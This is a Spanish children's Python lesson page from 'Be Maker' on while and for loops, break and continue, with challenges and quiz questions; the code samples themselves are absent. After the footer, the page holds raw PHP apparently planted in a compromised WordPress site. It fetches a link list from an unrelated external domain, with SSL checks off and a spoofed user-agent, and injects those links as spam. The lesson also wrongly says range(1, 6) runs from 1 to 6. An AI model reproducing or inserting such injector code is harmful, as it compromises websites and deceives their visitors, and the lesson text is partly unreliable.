Be Maker

Loading...

Be Maker

Curso de Invierno Python – Arduino

LECCIÓN 04 – ¡Repite y Repite con Bucles!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Hola, exploradores de la programación!

💡 ¿Sabías que los videojuegos, los robots y las aplicaciones hacen cosas repetitivas sin cansarse ¡Eso es lo que hacen los bucles en programación! En esta lección aprenderemos cómo decirle a Python: “¡Repite esto hasta que yo diga que pares!”

🚀 4.1 ¿Qué es un Bucle?

💡 Un bucle es cuando le decimos a la computadora que haga algo una y otra vez hasta que le pidamos que se detenga.

04

🔎 Ejemplo:

🕰️ Un reloj repite los segundos, minutos y horas todos los días. 

❤️ Tu corazón late sin parar mientras estás vivo.

🚀 4.2 Bucle While: Repetir hasta que algo pase

💡 Con un bucle while, la computadora sigue repitiendo una acción mientras una condición sea verdadera. Es como jugar hasta que mamá diga "¡Hora de cenar!".

🧪 Experimento 1: Repeticiones con while

🔬 Explicación:

1️⃣ contador = 1 → Creamos una variable que empieza en 1.
2️⃣ while contador <= 5: → Se ejecuta mientras contador sea menor o igual a 5.
3️⃣ contador += 1 → Aumentamos contador en 1 para que no se repita infinitamente.

🛸 Proyecto 1: Contando Monedas de Oro

 📌 ¿Qué pasó?

El bucle imprime la cantidad de monedas de oro que tenemos del 1 al 10, ¡y luego se detiene!

🛸 Proyecto 2: El Hechizo Infinito

 📌 ¿Qué pasó?

✅ El bucle sigue pidiendo una palabra hasta que el usuario escriba "stop".
✅ Cuando la condición ya no se cumple (respuesta == «stop»), el bucle termina.

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Crea un juego donde el jugador debe encontrar la salida de un laberinto usando while. La palabra clave para salir del laberinto será salida.

💻 Resultado:

🛠️Desafío 2: Demuestra lo Aprendido

➡️ Una caja mágica te pide adivinar un número entre 1 y 10. Si no lo adivinas, te seguirá preguntando. Escribe un programa que use un bucle while para repetir la pregunta hasta que el usuario adivine el número.

💻 Resultado:

🚀 4.3 El Bucle for: Repite un Número de Veces

💡 El bucle for se usa cuando sabemos cuántas veces queremos repetir algo. Es como cuando contamos cuántas veces brincamos la cuerda. ¡Sabemos exactamente cuántas veces lo haremos!

06

🧪 Experimento 02: Repeticiones con for

🔬 Explicación:

for crea un bucle que repite la acción.
range(1, 6) hace que i tome valores del 1 al 6.
✅ La computadora imprimirá cada número automáticamente.

🛸 Proyecto 4: Construyendo una Torre

 📌 ¿Qué pasó?

El bucle imprime la cantidad de ladrillos que colocamos que va del 1 al 8, ¡y luego se detiene!

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ Debes cruzar un río saltando sobre 10 piedras. Escribe un programa que use un bucle for para imprimir "Saltando sobre piedra [número]" para cada piedra.

💻 Resultado:

🛠️ Desafío 4: Demuestra lo Aprendido

➡️ Un muro tiene 7 ladrillos, cada uno con un mensaje oculto. Escribe un programa que use un bucle for para imprimir "Descubriendo el secreto del ladrillo [número]". Ten en cuenta que [número]es un número impar.

💻 Resultado:

🚀 4.4 Rompiendo Bucles con break y continue

💡 A veces, queremos detener un bucle antes de que termine, o saltarnos una repetición. Para eso usamos break y continue.

📌 Break: Detiene el bucle antes de que termine.
📌 Continue: Salta una repetición, pero el bucle sigue.

07

🧪 Experimento 03: Usando break

🔬 Explicación:

break Detiene el bucle cuando i es 5, sin esperar a que llegue a las 10 repeticiones.

🧪 Experimento 04: Usando continue

🔬 Explicación:

continue Salta los números pares, significando que no se ejecutan las acciones después de continue.

🛸 Proyecto 5: Rompiendo el Bucle

60

 📌 ¿Qué pasó?

Se usa break para salir de un bucle cuando el usuario escriba "stop"

🛸 Proyecto 6: Continuando el Bucle

61

 📌 ¿Qué pasó?

Se usa continue para evitar repetir la palabra "continue".

🛠️ Desafío 5: Demuestra lo Aprendido

➡️ Un reloj mágico te pide la hora actual. Si es de día (6 a 18), dice "¡Es de día!". Si no es así, dice "¡Es de noche!". Escribe un programa que pida la hora (0-23) y diga si es de día o de noche.

🎯 Resumen de la Lección 04

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: Razona

1️⃣ ¿Qué pasa si ejecuto el siguiente código? ¿Porqué?

🔥 Pregunta 02: Verdadero o Falso

1️⃣ Un bucle sirve para repetir cosas.

2️⃣ El bucle for se usa cuando no sabemos cuántas veces repetir.

3️⃣ break detiene un bucle por completo.

4️⃣ continue hace que el bucle se reinicie desde el principio.

5️⃣ Los bucles se pueden usar para contar, cantar o jugar.

6️⃣ range(5) genera los números del 1 al 5.

8️⃣ En un bucle while, la condición debe ser verdadera para seguir.

9️⃣ 1==2 or 3>1

🔟 not 5==5

💻 Programa en tu Computadora

🔥 Reto 01:

Un robot repite los números que decimos hasta que coloquemos el 0 (cero) usando un bucle while.

💻 Resultado:

🔥 Reto 02:

Crea un programa que calcule la suma de una serie de números ingresados por el usuario. El programa debe detenerse cuando el usuario ingrese -1 usando un bucle while.

💻 Resultado:

🔥 Reto 03:

Crea un programa que pida al usuario que ingrese una contraseña. Si no es «python», sigue preguntando usando un bucle while.

💻 Resultado:

🔥 Reto 04:

Crea un programa que imprima los números pares del 2 al 10 usando un bucle for

💻 Resultado:

256

🔥 Reto 05:

Crea un programa que genere la tabla de multiplicar del 7 usando un bucle for

💻 Resultado:

🔥 Reto 06:

¿Qué hace el siguiente código?

🔥 Reto 07:

Cuenta las vocales ‘a’ de una palabra usando un bucle for

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }